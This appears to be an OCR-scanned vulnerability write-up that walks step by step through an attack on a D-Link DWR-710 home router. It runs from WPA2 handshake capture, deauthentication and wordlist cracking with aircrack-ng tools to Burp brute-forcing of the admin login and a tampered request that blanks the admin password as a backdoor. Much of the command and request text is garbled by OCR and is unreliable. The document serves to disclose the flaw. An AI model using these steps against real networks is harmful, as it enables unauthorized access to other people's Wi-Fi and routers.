Security vulnerability scenerio:
Step 1: Remote access point password cracking

Airodump-ng output shows the rechable access points from attackers usb adapter.

CH 6 ][ Elapsed: 1 min ][ 2020-03-08 23:38

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

. EEx 55 @ ©0 6 54c. WPA2 CCMP PSK dlink DWR-71
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Step 2:

Waiting for the MAC id of the connected device to the targeted access point.

CH 6 ][ Elapsed: 4 mins ][ 2020-03-09 18:48 ][ WPA handshake: 5
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
-40 79 1828 1572 €] 6 54e. WPAZ CCMP PSK dlink_DWw

STATION PWR Rate Lost Frames Probe

Fo NN - 36 Oe-24 1820

Step 3:

Sending the de-auth tokens

:~# aireplay-ng -0 2 -a ¢ IE wlanOmon
19:01:40 Waiting for beacon frame (BSSID: ) on channel 6

19:01:41 Sending 64 directed DeAuth. STMAC: [F"“_”"’?E] [ 0|64 ACKs]
19:01:42 Sending 64 directed DeAuth. STMAC: [[(-E""—————i] [ 0|63 ACKs]




Step 4:

Cracking the password using .cap file and set of wordlist.

MRS -w /usr/share/wordlists/wifipassword.

root/conks-01.cap
( root/conks-02.cap
Opening /root/conks: .cap
Opening /root/conks-04.cap
Opening /root/corks-01.cap
Opening /root/ top-0l.cap
Opening /root/desktop-02.cap
Opening /root/prithwish-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc2

[00:00:01] 770 keys tested (411.58 k/s)
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Step 5:
Connected to the targeted access point and trying to login to the management interface

<« c @ © & 19216801/ o %4 n @ & =

ladmin
[sessesse

| English

Since the password is unknown to the attacker so the management console interface is throwing

errors



\(7—"9 ¢ o © % 1921680.1/oginasprerr=2 AR N o & =

Sorry, the user name or password is incorrect
Please try again

Step 6: Using internet, gathered possible default password and predictable passwords that are
configured by manufacturer or set by access point owners.

E password_dlink.td - Motepad

File Edit Format Wiew Help
password

admin

bT1ank

none

unknown

user
PASSWORD
Qwertyl2345
1234567890
gwertyuiop
Test@l2345

I re#ssr& ()
|Passwordl234s
Welcomel2345s

Step 7: Performing bruteforcing in login request



¢/ Requestto hitp:1/192.188.0.1:80

[ Forvard j [ Drop j [ Intercept is on } [ Agtion

J

Raw | Params | Headers | Hex

POST /login.cgi BETT2/1.1
Host: 192.168.0.1
User-Agent: Mozilla/S.0 (Windows NT €.1; Win64; xedi v

e: en-US,en;g=0.5
oding: gzip, defl

pe: application/x-www-form-urlencoded

Referez: http://132.168.0.1/login.asplerz=2
Cookie: clear_veb_la

Upgrade-Insecure-Requests: 1

ID=adnin{PASSHORD=pa

|

76.0) Gecks/20100101 Firefox/T4.0

zdeREDIRECT=index. asp¢REDIRECT_ERR=login.asp

ml, application/xhtml+xml, applicazion/aml; g=0.9, inage /webp, */*;iq=0.8

0; clear_pageNum=0; clear_pagelIndex=1; ui-tabs-l=-1

Target PosmTPaymns Options

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full detais.

Attack type: | Sniper

Start attack

POST /login.cgi KTTR/1.1
Host: 152.168.0.1

age: en-US,=n;

coding: gzip, def:

application/z-wiw-forn-urlencoded
3]

/192.168.0.1

Referer: nerp://192.168.0.1/10gin asprerr=2

Cookie: clear_web_langua

Upgrade-Insscure-Regu,

ID=adminsPASSHOHD:

Mozilla/§5.0 (Windews NT 6.1; Winéd; =64;

IviT4.00 Gecke

tml, application/xhtmltxml, application/xml; g=0.9,inage/webp, *

CT=index.aspsREDIRECT_ERR=login.asp

0; clear_pageNum=0; clear_pagelndex=l; ui-tabs-l=-1

20100101 Firefox/74.0
"ig=0.8

T

9
v

L aus |
 Clears
 Ams
_ Refesn

" term

o W

0 matches

Clear

Step 8: It was identified from the response length that Qwerty12345 can be a possible password
because the length of the response is 245 and for others it 234

B! Intruderattack1 -

—

Aftack Save Columnz

J Resulis T Target T Positions I Payloads I O ptions. ]

| Filter: Showing all tems

Step 9: Trying to login with Username:admin and password:Qwerty12345

Reguest | Payload | Status | Error | Timeout | Length ¥ [ Comment
9 | Qwerty12345 302 [} [} 245
0 302 O ] 234
1 password 302 0] O 234
2 302 0] O 234
3 admin 302 ] ] 234
4 blank 302 ] ] 234
5 none 302 O O 234
6 unknown 302 O O 234
7 user 302 O O 234
a PASSWORD 302 )] O 234
10 1234567390 302 )] ] 234
11 quwertyuiop 302 )] a 234
12 Test@12345 302 )] a 234
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C @ © £ 192168.0.1/indexasp?WWW_SID=| 44 n @& =
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Home ‘Wizard Internet Network SMS WiFi Security | Application

Home '
: I o

SIM Status SIM Attached

cru Sinal Sivongts _aat

signal Type

New Message

Call Status
IPv4 Interface br0
Roaming Status
IPv4 Address 192 168.0.1

Operators Information
IPv4 Subnet Mask 255 255 255.0

IPv4 MTU 1500 VAN

IPv6 Interface br0

IPv6 Address fc00::1 Status

Client Number 2 IPv4 Interface

IPv4 Address

IPv6 Interface

IPv6 Address

Step10: Now configuring the password for managment console to nothing i.e. empty so that any
person connected to the access point and easily login to the management console and change the
desired configuration

&« - C o © % 1921680.1/index.asp?system_passwd.html&WWW_SID=BID38734 ww noe =

A%C% ol g

= = N Vers N
Home Wizard Internet | Network SMs WiFi Security | Application FW Version : V2.0.4IN
System Name : DWR-710 Configuration Manager

Application : ' b = s 1 [ oo

Configuration
Firmware Upgrade
Remote Control
Password

Date and Time | SER

Language

System Log

Reboot

Because of client side validation it is throwing an error that New password cannot be empty i.e.
password field cant be left blank.



(&«)=> C 0 © £ 192.168.0.1/index.aspisystem_passwd.html| &WWW_SID=BID38734 - g 1’,.‘:| n o & =

Please enter new password.

Since only client side validation is implemented, so we will try to set the new password field to
nothing or blank using burp suite tool. For Ul end we are entering new password as 12 to satisfy
client side validation.

&l G @ © & 192168.0.1/index.asp?system_passwd.htm|&WWW_SID=BID38734 w meoe =

€

Internet | Netwol

Application

Logout

Password

At Select the user to change
password

Configuration 0ld password
Firmware Upgrad New password

Remote Control

admin ~

Retype new password ee

Password
Date and Time SERTY |

System Log
Reboot

7 Request to htip:/182.168.0.1:80

[ romert | oo | [itereptmon | [ scton | Commert s tom

@Parﬁms Headers | Hex

D0ST /passwd.cgi BETTE/1.1

Host: 192.168.0.1

User-Agent: Mozilla/S.0 (Windows NI €.1; Win64; x€2; rv:74.0) Gecko/20100101 Firefox/74.0
Accapt: application/zml, text/ml, */%; g=0.01

Accept-language: en-US,en;g=0.§
Accepu-Encoding: gzip, deflate
Content-Type: application/x-wiw-form-urlencoded
With: XMLH
Content-Length: 85
Origin: heep://192.168.0.1
Connection: close
Referer: hoop://192.168.0.1/system_passwd. himl?WWW_SID=BID33734

Coskie: cleaz_web_language=0; clear_pageNum=0; clear_pagelndes=l; ui-tabs-1=-1




Setting the new password to blank

7 Request to htip:/1182.168.0.1:80

[ Forward ] [ Drop ] | interceptison | [ Action ] Comment this tem W

ﬁ?amms Headers | Hex

DOST /passwd.egi BTTB/1.1
Eost: 192.168.0.1

User-Agent: Mozilla/S.0 (Windows NT €.1; Win64; ®€2; rw:74.0) Gecko/20100101 Firefox/74.0
Accept: application/szml, text/aml, */%; g=0.01

Accept-language: en-US,en;g=0.5

Accepr-Encoding: grip, deflate

Content-Type: application/x-wiw-form-urlencoded
With: XMLH

Content-Length: 85
Origin: heep://192.168.0.1

Connection: close

Referer: hoop://192.168.0.1/system_passwd. himl?WWW_SID=BID33734

Coskie: cleaz_web_language=0; clear_pageNum=0; clear_pagelndes=l; ui-tabs-1=-1

ri_sTD=870387345010_NAME=adminsselectmadninOLD_PASSHORD=Quercy] 2345 SNEH_SASSHORDS|

We see that the management console password has been successfully set to blank

<) C @ © #& 192.168.0.1/index.asp?system_passwd.htmI&WWW_SID=BID38734 UM+ n o e

/ Completed I

Step11: Now we see that we can login to management console with Username:admin and Password
field as blank

«) > C @ © & 1921680.1/loginasp - @ noe =

Login

Account

Login to the management console is successful



© £ 192168.0.1/index.asp?WWW_SID=BID44381

€% 9

= = 0 .
Internet | MNetwork SMS WiFi Security | Application FW 04N
System Name - DWR-710 Configuration Manager

N R

Home Wizard

Home G = o5

A o

SIM Status SIM Attached

Memory 67 % -
cu
Signal Type

New Message

Call Status

Signal Strength _ g0l

m

IPv4 Interface brl
Roaming Status ]
IPv4 Address 192.168.0.1
Operators Information
IPv4 Subnet Mask 255.255.255.0

1Pv4 MTU WAN

IPv6 Interface
IPv6 Address

Client Number

Status
IPv4 Interface
IPv4 Address

up
cemni0

10.80.20.255

IPv6 Interface

By doing this the attacker is actually opening a backdoor to access the management console any
time provided he is connected to the access point. Using this management console he can even
disconnect legitimate users from accessing the AP. Also can set different incoming or outgoing rules.

The target access points for this attack will the home access points where generally management
console is not well securely configured.



